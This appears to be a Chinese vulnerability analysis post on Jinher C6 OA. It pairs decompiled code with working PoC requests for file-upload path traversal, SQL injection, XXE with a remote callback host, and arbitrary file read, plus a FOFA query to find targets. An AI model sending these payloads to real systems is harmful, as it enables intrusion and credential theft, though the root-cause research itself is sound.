Skip to content

c6.md

Latest commit

 

History

History
427 lines (364 loc) · 12.9 KB

c6.md

File metadata and controls

427 lines (364 loc) · 12.9 KB
Raw

快一个月前看的了，今天来写一哈

FOFA语句：app="金和网络-金和OA"

由于漏洞太多了 所以就写其中爆出来的种类的一个

UploadFileEditorSave文件上传 JHSoft.Web.CustomQuery.UploadFileEditorSave
HomeService sql注入 JHSoft.MobileApp.AndroidSevices.HomeService
XmlDeal XXE JHSoft.Web.Message.XmlDeal
Download 文件读取 /C6/Jhsoft.Web.module/testbill/dj/download.asp

web.config如下


<configuration>
  <configSections>
    <section name="MicrosoftWebControls" type="System.Configuration.NameValueSectionHandler, System, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    </section>
  </configSections>
  <MicrosoftWebControls>
    <add key="CommonFiles" value="/C6/webctrl_client/1_0">
    </add>
  </MicrosoftWebControls>
  <appSettings>
    <add key="strOleDbConn" value="Provider=SQLOLEDB;Data Source=(local);Initial Catalog=C6;User ID=sa;pwd=sa;">
    </add>
    <add key="strAmount" value="0">
    </add>
    <add key="strABeginDate" value="2012-05-24">
    </add>
    <add key="strAEndDate" value="2060-12-30">
    </add>
    <add key="strProjectCount" value="0">
    </add>
    <add key="strCrmAmount" value="">
    </add>
    <add key="strHrmAmount" value="0">
    </add>
    <add key="OneTimeCount" value="70">
    </add>
    <add key="UserCountType" value="OneTime">
    </add>
    <add key="UseSecureCard" value="1">
    </add>
    <add key="onduty" value="1,2,3,4,5">
    </add>
    <add key="strWageFileld" value="reg_yfhj">
    </add>
    <add key="FilServerLoginUser" value="">
    </add>
    <add key="FilServerLoginPass" value="">
    </add>
    <add key="FilServer" value="D:\JINHER\">
    </add>
    <add key="FileServerRootPath" value="\upload">
    </add>
    <add key="FileServerPath" value="\upload\Resource">
    </add>
    <add key="FileServerResource" value="Resource">
    </add>
    <add key="FileWebServerUrl" value="">
    </add>
    <add key="iSignature" value="false">
    </add>
    <add key="Language" value="false">
    </add>
    <add key="MenuStyle" value="1">
    </add>
    <add key="SendPrint" value="0">
    </add>
    <add key="AcceptScan" value="0">
    </add>
    <add key="MeetingSendSms" value="0">
    </add>
    <add key="RemindPwdExpire" value="-1">
    </add>
    <add key="UsePageSetRoleNew" value="0">
    </add>
    <add key="IsDiarySeeBySideLineDepart" value="0">
    </add>
    <add key="IsTaskReportKeepHistoryInOneDay" value="0">
    </add>
    <add key="UserInfoShowAttendanceStatus" value="0">
    </add>
    <add key="IsShowTab" value="1">
    </add>
  </appSettings>
  <system.web>
    <webServices>
      <protocols>
        <add name="HttpGet">
        </add>
        <add name="HttpPost">
        </add>
      </protocols>
    </webServices>
    <pages validateRequest="false" enableEventValidation="false" enableViewStateMac="false">
    </pages>
    <httpHandlers>
      <add verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax">
      </add>
      <add path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" validate="false">
      </add>
    </httpHandlers>
    <compilation defaultLanguage="c#" debug="false">
    </compilation>
    <customErrors defaultRedirect="JHSoft.Web.CustomQuery/info.aspx?m=搴旂敤绋嬪簭寮傚父,璇蜂笌渚涘簲鍟嗚仈绯? mode="Off">
    </customErrors>
    <authentication mode="Forms">
      <forms name="authenticationcookie" loginUrl="JHSoft.Web.CustomQuery/info.aspx" protection="All" path="/" timeout="10">
      </forms>
    </authentication>
    <authorization>
      <allow users="*">
      </allow>
      <deny users="?">
      </deny>
    </authorization>
    <trace enabled="true" requestLimit="100" pageOutput="false" traceMode="SortByTime" localOnly="true">
    <sessionState mode="StateServer" stateConnectionString="tcpip=127.0.0.1:42424" sqlConnectionString="data source=127.0.0.1;Trusted_Connection=yes" cookieless="false" timeout="600">
    </sessionState>
    <globalization requestEncoding="gb2312" responseEncoding="gb2312">
    </globalization>
    <!--<identity impersonate="true" userName="Administrator" password="admin"/>-->
    <httpRuntime executionTimeout="900" maxRequestLength="2048000" useFullyQualifiedRedirectUrl="false">
    </httpRuntime>
    <httpModules>
      <add name="JHSoft.CustomQuery" type="JHSoft.CustomQuery.HttpUploadModule, JHSoft.CustomQuery">
      </add>
      <add name="JHSoft.Log" type="JHSoft.Log.LogHttpModule, JHSoft.Log">
      </add>
      <add name="HttpUploadModule" type="JHWeb.qqfly.Upload.HttpUploadModule, JHWeb.qqfly.Upload">
      </add>
    </httpModules>
    <xhtmlConformance mode="Legacy">
    </xhtmlConformance>
  </system.web>
</configuration>

UploadFileEditorSave网上poc如下

POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\ilra9c2tw2.asp HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Content-Length: 187
Content-Type: multipart/form-data; boundary=----umvtqrw8etdtcatpd8vq
Accept-Encoding: gzip, deflate, br

------umvtqrw8etdtcatpd8vq
Content-Disposition: form-data; name="file"; filename="ilra9c2tw2.jpg"
Content-Type: image/png

<% response.write(333*2)%>

------umvtqrw8etdtcatpd8vq--

反编译文件之后

	protected void Page_Load(object sender, EventArgs e)
	{
		string text = ((Page)this).get_Request().get_Item("filename").ToString();
		string strFile = Upload.MapFilePath(text);
		if (text.ToLower().IndexOf("slaves") == -1)
		{
			if (File.Exists(strFile))
			{
				File.Delete(strFile);
			}
			Upload.NoAESRead(((Page)this).get_Request().get_Files().get_Item(0)
				.get_InputStream(), ref strFile);
		}
		else
		{
			strFile = strFile.ToLower().Replace("\\temp\\", "\\slaves\\");
			if (File.Exists(strFile))
			{
				File.Delete(strFile);
			}
			Upload.AESRead(((Page)this).get_Request().get_Files().get_Item(0)
				.get_InputStream(), ref strFile);
		}
		((Control)this).get_Context().get_Response().End();
	}

MapFilePath方法如下


public static string MapFilePath(string _FilePath)
{
	_FilePath = _FilePath.ToLower();
	string fileServerName = GetFileServerName();
	_FilePath = _FilePath.Replace("\\", "//").Replace("/resource/", "/");
	string text;
	if (fileServerName.TrimEnd(new char[0]) != "" && fileServerName.TrimEnd(new char[0]) != string.Empty)
	{
		text = ConfigurationSettings.get_AppSettings()["FileServerPath"];
		text = ((_FilePath.Replace("../", "/").Length < _FilePath.Length) ? (text + _FilePath.Replace("\\", "/").Replace("../", "/").Replace("/", "\\")) : ((_FilePath.Split(new char[1] { '^' }).Length <= 1) ? (text + _FilePath.Replace("\\", "/").Replace("../", "/").Replace("/", "\\")) : (text + _FilePath.Replace("resource", "^").Split(new char[1] { '^' })[1].Replace("../", "").Replace("/", "\\"))));
		text = text.Replace("\\\\", "\\");
		text = "\\" + text.Replace("\\\\", "\\");
		DealGarbageChar(ref text, "\\");
		text = fileServerName + text;
	}
	else
	{
		text = _FilePath.Replace("../", "/").Replace("/", "\\");
		if (strPhysicalApplicationPath == null || strPhysicalApplicationPath == string.Empty)
		{
			strPhysicalApplicationPath = HttpContext.get_Current().get_Request().get_PhysicalApplicationPath();
		}
		text = strPhysicalApplicationPath + "\\resource\\" + text;
		text = text.Replace("\\\\", "\\");
		DealGarbageChar(ref text, "\\");
	}
	return text;

跟进GetFileServerName


public static string GetFileServerName()
{
	return ConfigurationSettings.get_AppSettings()["FilServer"];
}

这个就是直接读取web.config里的配置

    <add key="FilServer" value="D:\JINHER\">
    </add>
    <add key="FileServerRootPath" value="\upload">
    </add>
    <add key="FileServerPath" value="\upload\Resource">
    </add>
    <add key="FileServerResource" value="Resource">
    </add>
    <add key="FileWebServerUrl" value="">
    </add>

可知上传的文件会在upload\Resource下面，upload和c6在同一个文件夹，

在读取之后会对filename传入的字符串进行替换

		text = ((_FilePath.Replace("../", "/").Length < _FilePath.Length) ? (text + _FilePath.Replace("\\", "/").Replace("../", "/").Replace("/", "\\")) : ((_FilePath.Split(new char[1] { '^' }).Length <= 1) ? (text + _FilePath.Replace("\\", "/").Replace("../", "/").Replace("/", "\\")) : (text + _FilePath.Replace("resource", "^").Split(new char[1] { '^' })[1].Replace("../", "").Replace("/", "\\"))));
		text = text.Replace("\\\\", "\\");
		text = "\\" + text.Replace("\\\\", "\\");
		DealGarbageChar(ref text, "\\");
		text = fileServerName + text;

但是String.Replace只会替换一次，所以poc中使用了\....\....\来绕过/..../....\也可以

然后就是最开始的if语句，当filename没有slaves就是进入Upload.NoAESRead，所以直接

\....\....\C6\ilra9c2tw2.asp

即可

HomeService sql注入

  GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: 
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

直接反编译一哈

	[WebMethod]
	public string GetHomeInfo(string userID)
	{
		//IL_0019: Unknown result type (might be due to invalid IL or missing references)
		//IL_001f: Expected O, but got Unknown
		StringBuilder stringBuilder = new StringBuilder();
		stringBuilder.Append("{");
		string text = "";
		DiaryManagePro val = new DiaryManagePro();
		DataTable quickUserInfo = val.GetQuickUserInfo(userID);
		if (quickUserInfo != null && quickUserInfo.Rows.Count > 0)
		{
			text = quickUserInfo.Rows[0]["PhotoURL"].ToString();
			text = text.Remove(text.LastIndexOf('.') - 3, 3);
			text = text.Insert(text.LastIndexOf('.'), "50");
			if (Upload.MapAndFindFilebyRelativeFilePath(ref text))
			{
				text = Upload.GetFileRelativeURLbyAbosolutePath(text);
				text = "../JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=" + text;
			}
			else
			{
				text = "";
			}
			quickUserInfo.Dispose();
		}
		string text2 = "../themes/default/images/m.png";
		if (string.IsNullOrEmpty(text))
		{
			string userSex = GetUserSex(userID);
			text2 = (userSex.Equals("男") ? "../themes/default/images/m.png" : ((!userSex.Equals("女")) ? "../themes/default/images/p.png" : "../themes/default/images/w.png"));
		}
		else
		{
			text2 = text;
		}
		stringBuilder.AppendFormat("\"Sex\":\"{0}\"", text2);
		string homeDate = GetHomeDate(userID);
		if (!string.IsNullOrEmpty(homeDate))
		{
			stringBuilder.Append(homeDate);
		}
		stringBuilder.Append("}");
		return stringBuilder.ToString();
	}

跟进GetUserSex

	private string GetUserSex(string userId)
	{
		string result = "男";
		DBOperator dBOperator = DBOperatorFactory.GetDBOperator();
		string text = "select DossValue from dossiervalue a left join users b on a.RegCode=b.userid where a.DossierFieldID='3' and b.userid='" + userId + "'";
		DataTable dataTable = new DataTable();
		try
		{
			dataTable = dBOperator.ExecSQLReDataTable(text);
		}
		catch
		{

XmlDeal XXE

POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/2.0 (compatible; MSIE 3.01; Windows 95Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/XmlContent-Length: 111
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://123.vdco12rk5pe7vt4c2546lgy63x9oxlla.oastify.com"> %remote;]>

直接反编译文件

	protected void Page_Load(object sender, EventArgs e)
	{
		InitText();
		string text = "";
		XmlDocument xmlDocument = new XmlDocument();
		xmlDocument.Load(((Page)this).get_Request().get_InputStream());
		XmlNode xmlNode = xmlDocument.DocumentElement!.SelectSingleNode("//root//DealFlag");
		switch (xmlNode.InnerText.Trim())

直接对传入数据xmlDocument.Load触发xxe了

Download文件下载

http://IP/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config

直接打开对应目录文件


<%       
	Response.Buffer     =     true       
	Response.Clear       
	      
	dim     url       
	Dim     fso,fl,flsize       
	dim     Dname       
	Dim     objStream,ContentType,flName,isre,url1         
	Dname=trim(request("filename"))        
	If     Dname<>""     Then       
							url=server.MapPath(Dname)       
	End     If       
	'Response.write   url   
	'response.end   

	Set     fso=Server.CreateObject("Scripting.FileSystemObject")       
	Set     fl=fso.getfile(url)       
	flsize=fl.size       
	flName=fl.name       
	Set     fl=Nothing       
	Set     fso=Nothing     
	'Response.write flName
	'Response.write flsize
%>

直接filename传入想读取的文件地址即可